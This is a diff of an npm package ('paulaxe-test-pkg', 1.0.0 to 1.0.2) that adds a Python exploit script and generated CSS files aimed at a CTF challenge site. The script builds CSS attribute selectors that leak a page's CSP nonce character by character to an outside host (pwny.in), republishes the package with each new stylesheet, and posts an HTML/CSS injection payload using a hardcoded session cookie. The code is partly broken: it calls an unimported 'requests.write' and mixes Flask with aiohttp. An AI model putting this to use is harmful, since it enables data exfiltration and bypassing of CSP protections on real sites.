paulaxe-test-pkg 1.0.0 → 1.0.2

package/main.py

@@ -0,0 +1,81 @@
+import aiohttp
+import asyncio
+from flask import request
+from flask import Flask
+import subprocess
+import os
+URL = "http://pwny.in:5000/"
+ALPHA = "abcdefghijklmnopqrstuvwxyz0123456789"
+
+BASE = "http://new-diary.ctf.0ops.sjtu.cn"
+BASE = "http://loc:4000"
+COOKIE = "connect.sid=s%3AgVJ_2r6FzkwO072340G24bnTOX4bGG5W.cxPy2SuZehWIiBgwXuP%2FXfeN1tHR%2BS%2BEeHh31rmHtnI"
+
+start = [1, 0, 1]
+
+
+
+
+def gencontent(prefix):
+    print("\n".join([f"""meta[content*="nonce-{prefix}{i}"]{{background-image:url("{URL}?leak={prefix}{i}");}}""" for i in ALPHA]))
+    return ("\n".join([f"""meta[content*="nonce-{prefix}{i}"]{{background-image:url("{URL}?leak={prefix}{i}");}}""" for i in ALPHA]))
+
+def create_new_note(content):
+    r = requests.write(BASE+"/write", data={"title": "p", content: content}, headers={"Cookie":COOKIE})
+
+
+
+def createcss(prefix):
+    fname = "style.css"
+    with open(fname, "w") as f:
+        f.write(gencontent(prefix))
+
+
+
+prefix = ""
+
+
+def updatepkg(prefix):
+    createcss(prefix)
+    start[-1] = start[-1]+1
+    newver = ".".join(map(str, start))
+    subprocess.check_output(f"npm version {newver}", shell=True)
+    subprocess.check_output(f"npm publish", shell=True)
+
+
+app = Flask(__name__)
+
+
+updatepkg(prefix)
+
+
+create_new_note(f"""<style>@import 'http://pwny.in/1.css';</style><img src={URL}/wait><meta http-equiv="refresh" content="0; url=/read#id=9">""")
+lock = asyncio.Lock()
+
+
+routes = web.RouteTableDef()
+@routes.get('/')
+async def hello(request):
+    prefix = request.args.get("leak")
+    if lock.locked():
+        lock.release()
+    # if prefix is not None:
+        # updatepkg(prefix)
+    return "<p>Hello, World!</p>"
+
+@routes.get('/wait')
+async def wait():
+    await lock.acquire()
+    return ""
+
+
+
+
+
+async def main():
+    await lock.acquire()
+    app = web.Application()
+    app.add_routes(routes)
+    web.run_app(app)
+
+asyncio.run(main())

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "paulaxe-test-pkg",
-  "version": "1.0.0",
+  "version": "1.0.2",
   "description": "",
   "main": "index.js",
   "scripts": {

package/style.css

@@ -0,0 +1,36 @@
+meta[content*="nonce-a"]{background-image:url("http://pwny.in:5000/?leak=a");}
+meta[content*="nonce-b"]{background-image:url("http://pwny.in:5000/?leak=b");}
+meta[content*="nonce-c"]{background-image:url("http://pwny.in:5000/?leak=c");}
+meta[content*="nonce-d"]{background-image:url("http://pwny.in:5000/?leak=d");}
+meta[content*="nonce-e"]{background-image:url("http://pwny.in:5000/?leak=e");}
+meta[content*="nonce-f"]{background-image:url("http://pwny.in:5000/?leak=f");}
+meta[content*="nonce-g"]{background-image:url("http://pwny.in:5000/?leak=g");}
+meta[content*="nonce-h"]{background-image:url("http://pwny.in:5000/?leak=h");}
+meta[content*="nonce-i"]{background-image:url("http://pwny.in:5000/?leak=i");}
+meta[content*="nonce-j"]{background-image:url("http://pwny.in:5000/?leak=j");}
+meta[content*="nonce-k"]{background-image:url("http://pwny.in:5000/?leak=k");}
+meta[content*="nonce-l"]{background-image:url("http://pwny.in:5000/?leak=l");}
+meta[content*="nonce-m"]{background-image:url("http://pwny.in:5000/?leak=m");}
+meta[content*="nonce-n"]{background-image:url("http://pwny.in:5000/?leak=n");}
+meta[content*="nonce-o"]{background-image:url("http://pwny.in:5000/?leak=o");}
+meta[content*="nonce-p"]{background-image:url("http://pwny.in:5000/?leak=p");}
+meta[content*="nonce-q"]{background-image:url("http://pwny.in:5000/?leak=q");}
+meta[content*="nonce-r"]{background-image:url("http://pwny.in:5000/?leak=r");}
+meta[content*="nonce-s"]{background-image:url("http://pwny.in:5000/?leak=s");}
+meta[content*="nonce-t"]{background-image:url("http://pwny.in:5000/?leak=t");}
+meta[content*="nonce-u"]{background-image:url("http://pwny.in:5000/?leak=u");}
+meta[content*="nonce-v"]{background-image:url("http://pwny.in:5000/?leak=v");}
+meta[content*="nonce-w"]{background-image:url("http://pwny.in:5000/?leak=w");}
+meta[content*="nonce-x"]{background-image:url("http://pwny.in:5000/?leak=x");}
+meta[content*="nonce-y"]{background-image:url("http://pwny.in:5000/?leak=y");}
+meta[content*="nonce-z"]{background-image:url("http://pwny.in:5000/?leak=z");}
+meta[content*="nonce-0"]{background-image:url("http://pwny.in:5000/?leak=0");}
+meta[content*="nonce-1"]{background-image:url("http://pwny.in:5000/?leak=1");}
+meta[content*="nonce-2"]{background-image:url("http://pwny.in:5000/?leak=2");}
+meta[content*="nonce-3"]{background-image:url("http://pwny.in:5000/?leak=3");}
+meta[content*="nonce-4"]{background-image:url("http://pwny.in:5000/?leak=4");}
+meta[content*="nonce-5"]{background-image:url("http://pwny.in:5000/?leak=5");}
+meta[content*="nonce-6"]{background-image:url("http://pwny.in:5000/?leak=6");}
+meta[content*="nonce-7"]{background-image:url("http://pwny.in:5000/?leak=7");}
+meta[content*="nonce-8"]{background-image:url("http://pwny.in:5000/?leak=8");}
+meta[content*="nonce-9"]{background-image:url("http://pwny.in:5000/?leak=9");}

package/test.css

@@ -0,0 +1 @@
+@import '2.css';